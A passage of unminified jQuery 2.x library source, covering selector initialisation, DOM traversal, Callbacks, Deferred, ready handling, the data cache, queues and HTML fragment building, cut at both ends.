<) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, init = jQuery.fn.init = function( selector, context, root ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Method init() accepts an alternate rootjQuery // so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery; // Handle HTML strings if ( typeof selector === "string" ) { if ( selector[ 0 ] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) { // HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context; // Option to run scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[ 2 ] ); // Support: Blackberry 4.6 // gEBID returns nodes no longer in the document (#6963) if ( elem && elem.parentNode ) { // Inject the element directly into the jQuery object this.length = 1; this[ 0 ] = elem; } this.context = document; this.selector = selector; return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || root ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this.context = this[ 0 ] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return root.ready !== undefined ? root.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } if ( selector.selector !== undefined ) { this.selector = selector.selector; this.context = selector.context; } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); var rparentsprev = /^(?:parents|prev(?:Until|All))/, // Methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend( { has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter( function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[ i ] ) ) { return true; } } } ); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ? jQuery( selectors, context || this.context ) : 0; for ( ; i < l; i++ ) { for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && ( pos ? pos.index( cur ) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector( cur, selectors ) ) ) { matched.push( cur ); break; } } } return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); }, // Determine the position of an element within the set index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // Index in selector if ( typeof elem === "string" ) { return indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { return this.pushStack( jQuery.uniqueSort( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); } } ); function sibling( cur, dir ) { while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} return cur; } jQuery.each( { parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return siblings( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return siblings( elem.firstChild ); }, contents: function( elem ) { return elem.contentDocument || jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.uniqueSort( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; } ); var rnotwhite = ( /\S+/g ); // Convert String-formatted options into Object-formatted ones function createOptions( options ) { var object = {}; jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) { object[ flag ] = true; } ); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? createOptions( options ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value for non-forgettable lists memory, // Flag to know if list was already fired fired, // Flag to prevent firing locked, // Actual callback list list = [], // Queue of execution data for repeatable lists queue = [], // Index of currently firing callback (modified by add/remove as needed) firingIndex = -1, // Fire callbacks fire = function() { // Enforce single-firing locked = options.once; // Execute callbacks for all pending executions, // respecting firingIndex overrides and runtime changes fired = firing = true; for ( ; queue.length; firingIndex = -1 ) { memory = queue.shift(); while ( ++firingIndex < list.length ) { // Run callback and check for early termination if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && options.stopOnFalse ) { // Jump to end and forget the data so .add doesn't re-fire firingIndex = list.length; memory = false; } } } // Forget the data if we're done with it if ( !options.memory ) { memory = false; } firing = false; // Clean up if we're done firing for good if ( locked ) { // Keep an empty list if we have data for future add calls if ( memory ) { list = []; // Otherwise, this object is spent } else { list = ""; } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // If we have memory from a past run, we should fire after adding if ( memory && !firing ) { firingIndex = list.length - 1; queue.push( memory ); } ( function add( args ) { jQuery.each( args, function( _, arg ) { if ( jQuery.isFunction( arg ) ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && jQuery.type( arg ) !== "string" ) { // Inspect recursively add( arg ); } } ); } )( arguments ); if ( memory && !firing ) { fire(); } } return this; }, // Remove a callback from the list remove: function() { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( index <= firingIndex ) { firingIndex--; } } } ); return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : list.length > 0; }, // Remove all callbacks from the list empty: function() { if ( list ) { list = []; } return this; }, // Disable .fire and .add // Abort any current/pending executions // Clear all callbacks and values disable: function() { locked = queue = []; list = memory = ""; return this; }, disabled: function() { return !list; }, // Disable .fire // Also disable .add unless we have memory (since it would have no effect) // Abort any pending executions lock: function() { locked = queue = []; if ( !memory ) { list = memory = ""; } return this; }, locked: function() { return !!locked; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( !locked ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; queue.push( args ); if ( !firing ) { fire(); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; jQuery.extend( { Deferred: function( func ) { var tuples = [ // action, add listener, listener list, final state [ "resolve", "done", jQuery.Callbacks( "once memory" ), "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), "rejected" ], [ "notify", "progress", jQuery.Callbacks( "memory" ) ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, then: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; // deferred[ done | fail | progress ] for forwarding actions to newDefer deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && jQuery.isFunction( returned.promise ) ) { returned.promise() .progress( newDefer.notify ) .done( newDefer.resolve ) .fail( newDefer.reject ); } else { newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Keep pipe for back-compat promise.pipe = promise.then; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 3 ]; // promise[ done | fail | progress ] = list.add promise[ tuple[ 1 ] ] = list.add; // Handle state if ( stateString ) { list.add( function() { // state = [ resolved | rejected ] state = stateString; // [ reject_list | resolve_list ].disable; progress_list.lock }, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock ); } // deferred[ resolve | reject | notify ] deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + "With" ]( this === deferred ? promise : this, arguments ); return this; }; deferred[ tuple[ 0 ] + "With" ] = list.fireWith; } ); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( subordinate /* , ..., subordinateN */ ) { var i = 0, resolveValues = slice.call( arguments ), length = resolveValues.length, // the count of uncompleted subordinates remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0, // the master Deferred. // If resolveValues consist of only a single Deferred, just use that. deferred = remaining === 1 ? subordinate : jQuery.Deferred(), // Update function for both resolve and progress values updateFunc = function( i, contexts, values ) { return function( value ) { contexts[ i ] = this; values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( values === progressValues ) { deferred.notifyWith( contexts, values ); } else if ( !( --remaining ) ) { deferred.resolveWith( contexts, values ); } }; }, progressValues, progressContexts, resolveContexts; // Add listeners to Deferred subordinates; treat others as resolved if ( length > 1 ) { progressValues = new Array( length ); progressContexts = new Array( length ); resolveContexts = new Array( length ); for ( ; i < length; i++ ) { if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { resolveValues[ i ].promise() .progress( updateFunc( i, progressContexts, progressValues ) ) .done( updateFunc( i, resolveContexts, resolveValues ) ) .fail( deferred.reject ); } else { --remaining; } } } // If we're not waiting on anything, resolve the master if ( !remaining ) { deferred.resolveWith( resolveContexts, resolveValues ); } return deferred.promise(); } } ); // The deferred used on DOM ready var readyList; jQuery.fn.ready = function( fn ) { // Add the callback jQuery.ready.promise().done( fn ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); // Trigger any bound ready events if ( jQuery.fn.triggerHandler ) { jQuery( document ).triggerHandler( "ready" ); jQuery( document ).off( "ready" ); } } } ); /** * The ready event handler and self cleanup method */ function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } jQuery.ready.promise = function( obj ) { if ( !readyList ) { readyList = jQuery.Deferred(); // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE9-10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } } return readyList.promise( obj ); }; // Kick off the DOM ready check even if the user does not jQuery.ready.promise(); // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( jQuery.type( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !jQuery.isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < len; i++ ) { fn( elems[ i ], key, raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) ) ); } } } return chainable ? elems : // Gets bulk ? fn.call( elems ) : len ? fn( elems[ 0 ], key ) : emptyGet; }; var acceptData = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any /* jshint -W018 */ return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); }; function Data() { this.expando = jQuery.expando + Data.uid++; } Data.uid = 1; Data.prototype = { register: function( owner, initial ) { var value = initial || {}; // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable, non-writable property // configurability must be true to allow the property to be // deleted with the delete operator } else { Object.defineProperty( owner, this.expando, { value: value, writable: true, configurable: true } ); } return owner[ this.expando ]; }, cache: function( owner ) { // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return an empty object. if ( !acceptData( owner ) ) { return {}; } // Check if the owner object already has a cache var value = owner[ this.expando ]; // If not, create one if ( !value ) { value = {}; // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return an empty object. if ( acceptData( owner ) ) { // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable property // configurable must be true to allow the property to be // deleted when data is removed } else { Object.defineProperty( owner, this.expando, { value: value, configurable: true } ); } } } return value; }, set: function( owner, data, value ) { var prop, cache = this.cache( owner ); // Handle: [ owner, key, value ] args if ( typeof data === "string" ) { cache[ data ] = value; // Handle: [ owner, { properties } ] args } else { // Copy the properties one-by-one to the cache object for ( prop in data ) { cache[ prop ] = data[ prop ]; } } return cache; }, get: function( owner, key ) { return key === undefined ? this.cache( owner ) : owner[ this.expando ] && owner[ this.expando ][ key ]; }, access: function( owner, key, value ) { var stored; // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ( ( key && typeof key === "string" ) && value === undefined ) ) { stored = this.get( owner, key ); return stored !== undefined ? stored : this.get( owner, jQuery.camelCase( key ) ); } // When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, name, camel, cache = owner[ this.expando ]; if ( cache === undefined ) { return; } if ( key === undefined ) { this.register( owner ); } else { // Support array or space separated string of keys if ( jQuery.isArray( key ) ) { // If "name" is an array of keys... // When data is initially created, via ("key", "val") signature, // keys will be converted to camelCase. // Since there is no way to tell _how_ a key was added, remove // both plain key and camelCase key. #12786 // This will only penalize the array argument path. name = key.concat( key.map( jQuery.camelCase ) ); } else { camel = jQuery.camelCase( key ); // Try the string as a key before any manipulation if ( key in cache ) { name = [ key, camel ]; } else { // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace name = camel; name = name in cache ? [ name ] : ( name.match( rnotwhite ) || [] ); } } i = name.length; while ( i-- ) { delete cache[ name[ i ] ]; } } // Remove the expando if there's no more data if ( key === undefined || jQuery.isEmptyObject( cache ) ) { // Support: Chrome <= 35-45+ // Webkit & Blink performance suffers when deleting properties // from DOM nodes, so set to undefined instead // https://code.google.com/p/chromium/issues/detail?id=378607 if ( owner.nodeType ) { owner[ this.expando ] = undefined; } else { delete owner[ this.expando ]; } } }, hasData: function( owner ) { var cache = owner[ this.expando ]; return cache !== undefined && !jQuery.isEmptyObject( cache ); } }; var dataPriv = new Data(); var dataUser = new Data(); // Implementation Summary // // 1. Enforce API surface and semantic compatibility with 1.9.x branch // 2. Improve the module's maintainability by reducing the storage // paths to a single mechanism. // 3. Use the same single mechanism to support "private" and "user" data. // 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) // 5. Avoid exposing implementation details on user objects (eg. expando properties) // 6. Provide a clear path for implementation upgrade to WeakMap in 2014 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /[A-Z]/g; function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? jQuery.parseJSON( data ) : data; } catch ( e ) {} // Make sure we set the data so it isn't changed later dataUser.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend( { hasData: function( elem ) { return dataUser.hasData( elem ) || dataPriv.hasData( elem ); }, data: function( elem, name, data ) { return dataUser.access( elem, name, data ); }, removeData: function( elem, name ) { dataUser.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to dataPriv methods, these can be deprecated. _data: function( elem, name, data ) { return dataPriv.access( elem, name, data ); }, _removeData: function( elem, name ) { dataPriv.remove( elem, name ); } } ); jQuery.fn.extend( { data: function( key, value ) { var i, name, data, elem = this[ 0 ], attrs = elem && elem.attributes; // Gets all values if ( key === undefined ) { if ( this.length ) { data = dataUser.get( elem ); if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE11+ // The attrs elements can be null (#14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = jQuery.camelCase( name.slice( 5 ) ); dataAttr( elem, name, data[ name ] ); } } } dataPriv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each( function() { dataUser.set( this, key ); } ); } return access( this, function( value ) { var data, camelKey; // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // with the key as-is data = dataUser.get( elem, key ) || // Try to find dashed key if it exists (gh-2779) // This is for 2.2.x only dataUser.get( elem, key.replace( rmultiDash, "-$&" ).toLowerCase() ); if ( data !== undefined ) { return data; } camelKey = jQuery.camelCase( key ); // Attempt to get data from the cache // with the key camelized data = dataUser.get( elem, camelKey ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, camelKey, undefined ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... camelKey = jQuery.camelCase( key ); this.each( function() { // First, attempt to store a copy or reference of any // data that might've been store with a camelCased key. var data = dataUser.get( this, camelKey ); // For HTML5 data-* attribute interop, we have to // store property names with dashes in a camelCase form. // This might not apply to all properties...* dataUser.set( this, camelKey, value ); // *... In the case of properties that might _actually_ // have dashes, we need to also store a copy of that // unchanged property. if ( key.indexOf( "-" ) > -1 && data !== undefined ) { dataUser.set( this, key, value ); } } ); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each( function() { dataUser.remove( this, key ); } ); } } ); jQuery.extend( { queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = dataPriv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray( data ) ) { queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { empty: jQuery.Callbacks( "once memory" ).add( function() { dataPriv.remove( elem, [ type + "queue", key ] ); } ) } ); } } ); jQuery.fn.extend( { queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[ 0 ], type ); } return data === undefined ? this : this.each( function() { var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { jQuery.dequeue( this, type ); } } ); }, dequeue: function( type ) { return this.each( function() { jQuery.dequeue( this, type ); } ); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } } ); var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; var isHidden = function( elem, el ) { // isHidden might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem ); }; function adjustCSS( elem, prop, valueParts, tween ) { var adjusted, scale = 1, maxIterations = 20, currentValue = tween ? function() { return tween.cur(); } : function() { return jQuery.css( elem, prop, "" ); }, initial = currentValue(), unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && rcssNum.exec( jQuery.css( elem, prop ) ); if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { // Trust units reported by jQuery.css unit = unit || initialInUnit[ 3 ]; // Make sure we update the tween properties later on valueParts = valueParts || []; // Iteratively approximate from a nonzero starting point initialInUnit = +initial || 1; do { // If previous iteration zeroed out, double until we get *something*. // Use string for doubling so we don't accidentally see scale as unchanged below scale = scale || ".5"; // Adjust and apply initialInUnit = initialInUnit / scale; jQuery.style( elem, prop, initialInUnit + unit ); // Update scale, tolerating zero or NaN from tween.cur() // Break the loop if scale is unchanged or perfect, or if we've just had enough. } while ( scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations ); } if ( valueParts ) { initialInUnit = +initialInUnit || +initial || 0; // Apply relative offset (+=/-=) if specified adjusted = valueParts[ 1 ] ? initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : +valueParts[ 2 ]; if ( tween ) { tween.unit = unit; tween.start = initialInUnit; tween.end = adjusted; } } return adjusted; } var rcheckableType = ( /^(?:checkbox|radio)$/i ); var rtagName = ( /<([\w:-]+)/ ); var rscriptType = ( /^$|\/(?:java|ecma)script/i ); // We have to close these tags to support XHTML (#13200) var wrapMap = { // Support: IE9 option: [ 1, "<select multiple='multiple'>", "</select>" ], // XHTML parsers do not magically insert elements in the // same way that tag soup parsers do. So we cannot shorten // this by omitting <tbody> or other required elements. thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; // Support: IE9 wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; function getAll( context, tag ) { // Support: IE9-11+ // Use typeof to avoid zero-argument method invocation on host objects (#15151) var ret = typeof context.getElementsByTagName !== "undefined" ? context.getElementsByTagName( tag || "*" ) : typeof context.querySelectorAll !== "undefined" ? context.querySelectorAll( tag || "*" ) : []; return tag === undefined || tag && jQuery.nodeName( context, tag ) ? jQuery.merge( [ context ], ret ) : ret; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var i = 0, l = elems.length; for ( ; i < l; i++ ) { dataPriv.set( elems[ i ], "globalEval", !refElements || dataPriv.get( refElements[ i ], "globalEval" ) ); } } var rhtml = /<|&#?\w+;/; function buildFragment( elems, context, scripts, selection, ignored ) { var elem, tmp, tag, wrap, contains, j, fragment = context.createDocumentFragment(), nodes = [], i = 0, l = elems.length; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( jQuery.type( elem ) === "object" ) { // Support: Android<4.1, PhantomJS<2 // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: Android<4.1, PhantomJS<2 // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Ensure the created nodes are orphaned (#12392) tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( ( elem = nodes[ i++ ] ) ) { // Skip elements already in the context collection (trac-4087) if ( selection && jQuery.inArray( elem, selection ) > -1 ) { if ( ignored ) { ignored.push( elem ); } continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( ( elem = tmp[ j++ ] ) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; } ( function() { var fragment = document.createDocumentFragment(), div = fragment.appendChild( document.createElement( "div" ) ), input = document.createElement( "input" ); // Support: Android 4.0-4.3, Safari<=5.1 // Check state lost if the name is set (#11217) // Support: Windows Web Apps (WWA) // `name` and `type` must use .setAttribute for WWA (#14901) input.setAttribute( "type", "radio" ); input.setAttribute( "checked", "checked" ); input.setAttribute( "name", "t" ); div.appendChild( input ); // Support: Safari<=5.1, Android<4.2 // Older WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE<=11+ // Make sure textarea (and checkbox) defaultValue is properly cloned div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; } )(); var rkeyEvent = /^key/, rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, rtypenamespace = /^([^.]*)(?:\.(.+)|)/; function returnTrue() { return true; } function returnFalse() { return false; } // Support: IE9 // See #13393 for more info function safeActiveElement() { try { return document.activeElement; } 